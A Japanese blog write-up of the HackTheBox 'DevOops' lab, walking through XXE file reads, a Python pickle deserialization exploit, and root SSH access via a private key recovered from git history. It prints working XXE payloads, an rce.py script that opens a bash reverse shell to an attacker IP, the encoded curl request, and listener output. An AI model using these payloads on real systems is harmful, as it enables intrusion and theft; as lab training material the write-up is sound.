🥕

【HackTheBox】DevOops Writeup

2023/06/13に公開

Enumeration

nmap

┌──(kali㉿kali)-[~]
└─$ nmap -sVC -T4 -p- -Pn -open 10.10.10.91   

22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4290e335318d8b86172afb3890dac495 (RSA)
|   256 b7b6dcc44c879b752a008983edb28031 (ECDSA)
|_  256 d52f1953b28e3a4bb3dd3c1fc0370d00 (ED25519)
5000/tcp open  http    Gunicorn 19.7.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: gunicorn/19.7.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

port22と5000が開いてます。Gunicornと書いてあったので、port 5000はpythonのwebアプリケーションっぽいです。

Website Enumeration

port 5000をアクセスするとこんな感じです。

トップページに情報がほぼなかったので、gobusterを実行してみます。

┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.10.91:5000       
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.91:5000
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/06/10 08:43:32 Starting gobuster in directory enumeration mode
===============================================================
/feed                 (Status: 200) [Size: 546263]
/upload               (Status: 200) [Size: 347]
Progress: 4614 / 4615 (99.98%)
===============================================================

feedとuploadがありました。
feedはトップページに表示されている画像だけみたいです。

uploadにはどう見ても攻撃できそうなアップロード機能がありました。XMLファイルをアップロードしてみたいと思います。

Foothold: Shell as Roosa

XXE Attack

Find the Correct Format

適当に作ったxmlファイルをアップロードした時のリクエストはこんな感じです。

internal server errorが出ました。フォーマットが間違っているせいと思いますので、正しいフォーマットを探します。
よく見たら、アップロードのページにXML elements: Author, Subject, Contentと書いてましたので、それで試します。

<Author>a</Author>
<Subject>b</Subject>
<Content>c</Content>

このpayloadもinternal server errorが出ました。parent elementがないとダメかな?と思いました。

<file>
<Author>a</Author>
<Subject>b</Subject>
<Content>c</Content>
</file>

これでアップロードが成功しました。レスポンスがこんな感じです。

Read Arbitrary Files

hacktricksのXXE攻撃のページを参照しながらいろいろやっていきます。(https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity#main-attacks)
サーバー上の任意のファイルをreadできるかどうかを試します。

Read User Flag

ファイルが読めるみたいです。ではこのままuserフラグを取ってみます。アップロード後のレスポンスに File path: /home/roosa/deploy/srcがあったので、/home/roosaにフラグがあると推測しました。

<!DOCTYPE foo [<!ENTITY example SYSTEM "/home/roosa/user.txt">] >
<feed>
<Author>aaa</Author>
<Subject>bbb</Subject>
<Content>&example;</Content>
</feed>

このpayloadでフラグ取れました。

Python Pickle Exploit

Source Code Analysis

サーバー上にどんなファイルがあるのかわかりませんが、トップページにThis is feed.py, which will become the MVP for Blogfeeder application. と書いてありましたので、とりあえずfeed.pyの中身を見てみます。

payload
<!DOCTYPE foo [<!ENTITY example SYSTEM "./feed.py">] >
<feed>
<Author>aaa</Author>
<Subject>bbb</Subject>
<Content>&example;</Content>
</feed>
./feed.py
def uploaded_file(filename):
    return send_from_directory(Config.UPLOAD_FOLDER,filename)

@app.route("/")
def xss():
    return template('index.html')

@app.route("/feed")
def fakefeed():
   return send_from_directory(".","devsolita-snapshot.png")

@app.route("/newpost", methods=["POST"])
def newpost():
# TODO: proper save to database, this is for testing purposes right now
  picklestr = base64.urlsafe_b64decode(request.data)
#  return picklestr
  postObj = pickle.loads(picklestr)
  return "POST RECEIVED: " + postObj['Subject']

## TODO: VERY important! DISABLED THIS IN PRODUCTION
#app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')
# TODO: Replace run-gunicorn.sh with real Linux service script
# app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')

if __name__ == "__main__":
  app.run(host='0.0.0,0', Debug=True)

/newpostのところにpickle.loads()が使われています。ここにreverse shellのスクリプトを渡せばシェル取れそうです。
Python公式ドキュメントにも書いていますが、信頼できないデータをloadしてはいけないです。

Exploit

このページに書いたコードを参考にしながら攻撃してみます。(https://davidhamann.de/2020/04/05/exploiting-python-pickle/)
reverse shellのpayloadを作る前に、/newpostの動作確認します。コード見る感じだと{"Subject": "aaa"}でいけるはずなので、試してみます。

┌──(kali㉿kali)-[~/devoops]
└─$ python3
Python 3.11.2 (main, Mar 13 2023, 12:18:29) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> import pickle
>>> payload = {"Subject": "aaa"}
>>> base64.urlsafe_b64encode(pickle.dumps(payload)).decode()
'gASVFAAAAAAAAAB9lIwHU3ViamVjdJSMA2FhYZRzLg=='
curl -X POST http://10.10.10.91:5000/newpost -d "gASVFAAAAAAAAAB9lIwHU3ViamVjdJSMA2FhYZRzLg==" -H "Content-Type: text/plain"
<html>
  <head>
    <title>Internal Server Error</title>
  </head>
  <body>
    <h1><p>Internal Server Error</p></h1>
  </body>
</html>

なぜかinternal server errorが出ます。いろいろ試しましたが、最後はpython2でpayload作ったらいけました。python2と3はbase64.urlsafe_b64encode()の挙動が違うみたいです。

┌──(kali㉿kali)-[~/devoops]
└─$ python2       
Python 2.7.18 (default, Aug  1 2022, 06:23:55) 
[GCC 12.1.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> import pickle
>>> payload = {"Subject": "aaa"}
>>> base64.urlsafe_b64encode(pickle.dumps(payload))
'KGRwMApTJ1N1YmplY3QnCnAxClMnYWFhJwpwMgpzLg=='
curl -X POST http://10.10.10.91:5000/newpost -d "KGRwMApTJ1N1YmplY3QnCnAxClMnYWFhJwpwMgpzLg==" -H "Content-Type: text/plain"
POST RECEIVED: aaa 

予想通りのレスポンスが返ってきました。
ではpython2でreverse shellのpayloadを作ります。

rce.py(python2)
# -*- coding: utf-8 -*-
import os
import base64
import pickle

class RCE(object):
    def __reduce__(self):
        cmd = 'bash -c "bash -i >& /dev/tcp/10.10.14.6/9001 0>&1"'
        return (os.system, (cmd,))

encoded = base64.urlsafe_b64encode(pickle.dumps(RCE()))
print encoded

実行して出力されたbase64 stringでリクエスト送ります。

curl -X POST http://10.10.10.91:5000/newpost -d "Y3Bvc2l4CnN5c3RlbQpwMAooUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjYvOTAwMSAwPiYxIicKcDEKdHAyClJwMwou" -H "Content-Type: text/plain"
┌──(kali㉿kali)-[~/devoops]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.91] 57306
bash: cannot set terminal process group (1288): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

roosa@devoops:~/deploy/src$ whoami
whoami
roosa

シェル取れました。ユーザーはroosaです。

Privilege Escalation

Enumeration

roosaのhome directoryを見てみます。

roosa@devoops:~$ ls -la
ls -la
total 160
drwxr-xr-x 22 roosa roosa 4096 Jun 11 02:59 .
drwxr-xr-x  7 root  root  4096 Mar 26  2021 ..
lrwxrwxrwx  1 root  root     9 Sep 23  2022 .bash_history -> /dev/null
-rw-r--r--  1 roosa roosa  220 Mar 19  2018 .bash_logout
-rw-r--r--  1 roosa roosa 3771 Mar 19  2018 .bashrc
drwx------ 12 roosa roosa 4096 Jun 11 01:58 .cache
drwx------  3 roosa roosa 4096 Mar 26  2021 .compiz
drwx------ 14 roosa roosa 4096 Mar 26  2021 .config
drwx------  3 root  root  4096 Mar 26  2021 .dbus
drwxrwxr-x  4 roosa roosa 4096 Mar 26  2021 deploy
drwxr-xr-x  2 roosa roosa 4096 Mar 26  2021 Desktop
-rw-r--r--  1 roosa roosa   25 Mar 21  2018 .dmrc
drwxr-xr-x  2 roosa roosa 4096 Mar 26  2021 Documents
drwxr-xr-x  2 roosa roosa 4096 Mar 26  2021 Downloads
drwx------  3 roosa roosa 4096 Mar 26  2021 .emacs.d
-rw-r--r--  1 roosa roosa 8980 Mar 19  2018 examples.desktop
drwx------  2 roosa roosa 4096 Mar 26  2021 .gconf
-rw-rw-r--  1 roosa roosa   56 Mar 19  2018 .gitconfig
drwx------  3 roosa roosa 4096 Mar 26  2021 .gnupg
-rw-------  1 roosa roosa 5100 May 29  2018 .ICEauthority
drwx------  3 roosa roosa 4096 Mar 26  2021 .local
drwxr-xr-x  2 roosa roosa 4096 Mar 26  2021 Music
drwxrwxr-x  2 roosa roosa 4096 Mar 26  2021 .nano
drwxr-xr-x  2 roosa roosa 4096 Mar 26  2021 Pictures
-rw-r--r--  1 roosa roosa  655 Mar 19  2018 .profile
drwxr-xr-x  2 roosa roosa 4096 Mar 26  2021 Public
-rwxrw-r--  1 roosa roosa  147 Mar 26  2018 run-blogfeed.sh
-rw-rw-r--  1 roosa roosa 1839 Mar 26  2018 service.sh
-rw-rw-r--  1 roosa roosa 2206 Mar 26  2018 service.sh~
drwx------  2 roosa roosa 4096 Mar 26  2021 .ssh
drwxr-xr-x  2 roosa roosa 4096 Mar 26  2021 Templates
-r--------  1 roosa roosa   33 Jun 10 08:25 user.txt
drwxr-xr-x  2 roosa roosa 4096 Mar 26  2021 Videos
drwxrwxr-x  3 roosa roosa 4096 Mar 26  2021 work
-rw-------  1 roosa roosa  205 May 29  2018 .Xauthority
-rw-------  1 roosa roosa 1389 May 31  2018 .xsession-errors
-rw-------  1 roosa roosa   82 May 24  2018 .xsession-errors.old

思ったよりいろいろありました。気になるファイルを確認していきます。
まずはsshのキーがありました。

roosa@devoops:~$ ls .ssh
ls .ssh
authorized_keys
id_rsa
id_rsa.pub
known_hosts

.gitignoreがあったので、どこかでgit使ってるみたいです。

[user]
        email = roosa@solita.fi
        name = Roosa Hakkerson

custom scriptsは気になるのでみてみます。

run-blogfeed.sh
#/bin/bash

# TODO: replace with better script and run as blogfeed user which is restricted

cd /home/roosa/work/blogfeed/src
../run-gunicorn.sh

run-blogfeed.shの内容から見ると、/home/roosa/work/blogfeed/srcにもアプリケーションのコードがあるみたいです。確認してみます。

roosa@devoops:~/work/blogfeed/src$ cd /home/roosa/work/blogfeed/
cd /home/roosa/work/blogfeed/
roosa@devoops:~/work/blogfeed$ ls -la
ls -la
total 32
drwxrwx--- 5 roosa roosa 4096 Jun 11 02:34 .
drwxrwxr-x 3 roosa roosa 4096 Mar 26  2021 ..
-rw-rw-r-- 1 roosa roosa    0 Jun 11 02:34 access.log
-rw-rw-r-- 1 roosa roosa 3869 Jun 11 02:34 feed.log
drwxrwx--- 8 roosa roosa 4096 Mar 26  2021 .git
-rw-rw---- 1 roosa roosa  104 Mar 19  2018 README.md
drwxrwx--- 3 roosa roosa 4096 Mar 26  2021 resources
-rwxrw-r-- 1 roosa roosa  180 Mar 21  2018 run-gunicorn.sh
drwxrwx--- 2 roosa roosa 4096 Mar 26  2021 src

ここにgitが使われています。ではログを見てみましょう。

roosa@devoops:~/work/blogfeed$ git log
git log
commit 7ff507d029021b0915235ff91e6a74ba33009c6d
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Mon Mar 26 06:13:55 2018 -0400

    Use Base64 for pickle feed loading

commit 26ae6c8668995b2f09bf9e2809c36b156207bfa8
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Tue Mar 20 15:37:00 2018 -0400

    Set PIN to make debugging faster as it will no longer change every time the application code is changed. Remember to remove before production use.

commit cec54d8cb6117fd7f164db142f0348a74d3e9a70
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Tue Mar 20 15:08:09 2018 -0400

    Debug support added to make development more agile.

commit ca3e768f2434511e75bd5137593895bd38e1b1c2
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Tue Mar 20 08:38:21 2018 -0400

    Blogfeed app, initial version.

commit dfebfdfd9146c98432d19e3f7d83cc5f3adbfe94
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Tue Mar 20 08:37:56 2018 -0400

    Gunicorn startup script

commit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Mon Mar 19 09:33:06 2018 -0400

    reverted accidental commit with proper key

commit d387abf63e05c9628a59195cec9311751bdb283f
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Mon Mar 19 09:32:03 2018 -0400

    add key for feed integration from tnerprise backend

commit 1422e5a04d1b52a44e6dc81023420347e257ee5f
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Mon Mar 19 09:24:30 2018 -0400

    Initial commit

add key for feed integration from tnerprise backendからのreverted accidental commit with proper keyの流れが気になります。間違ったキーをコミットしてしまって、ここで修正したみたいです。
このコミットの中身を確認してみます。

roosa@devoops:~/work/blogfeed$ git show 33e87c312c08735a02fa9c796021a4a3023129ad
<ed$ git show 33e87c312c08735a02fa9c796021a4a3023129ad                       
commit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Mon Mar 19 09:33:06 2018 -0400

    reverted accidental commit with proper key

diff --git a/resources/integration/authcredentials.key b/resources/integration/authcredentials.key
index 44c981f..f4bde49 100644
--- a/resources/integration/authcredentials.key
+++ b/resources/integration/authcredentials.key
@@ -1,28 +1,27 @@
 -----BEGIN RSA PRIVATE KEY-----
-MIIEogIBAAKCAQEArDvzJ0k7T856dw2pnIrStl0GwoU/WFI+OPQcpOVj9DdSIEde
-8PDgpt/tBpY7a/xt3sP5rD7JEuvnpWRLteqKZ8hlCvt+4oP7DqWXoo/hfaUUyU5i
...[snip]...
-oAvexd1JRMkbC7YOgrzZ9iOxHP+mg/LLENmHimcyKCqaY3XzqXqk9lOhA3ymOcLw
-LS4O7JPRqVmgZzUUnDiAVuUHWuHGGXpWpz9EGau6dIbQaUUSOEE=
+MIIEpQIBAAKCAQEApc7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN
+ouroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAWs53MYS7m67bCZh9Bj21+E4fz/uwDSE
...[snip]...
+T3Sd/6nWVzi1FO16KjhRGrqwb6BCDxeyxG508hHzikoWyMN0AA2st8a8YS6jiOog
+bU34EzQLp7oRU/TKO6Mx5ibQxkZPIHfgA1+Qsu27yIwlprQ64+oeEr0=
 -----END RSA PRIVATE KEY-----
-

このコミットから修正前のキーがわかりました。中身を保存しておきます。

Root Shell

一回キーを変更するのはかなり怪しいので、このキーを使ってrootでログインしてみます。

┌──(kali㉿kali)-[~/devoops]
└─$ ssh -i ./pastkey root@10.10.10.91      
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

135 packages can be updated.
60 updates are security updates.

Last login: Sun Jun 11 03:00:36 2023 from 10.10.14.6
root@devoops:~# whoami
root
root@devoops:~# cat /root/root.txt

rootとしてログインできました。こんなに簡単にpriv escできるのは予想外でした。

Memo

XXEでファイルが読めるなら最初からroosaのsshキーを探せばよかった、、

medium boxの中ではかなり簡単の方だと思います。

Discussion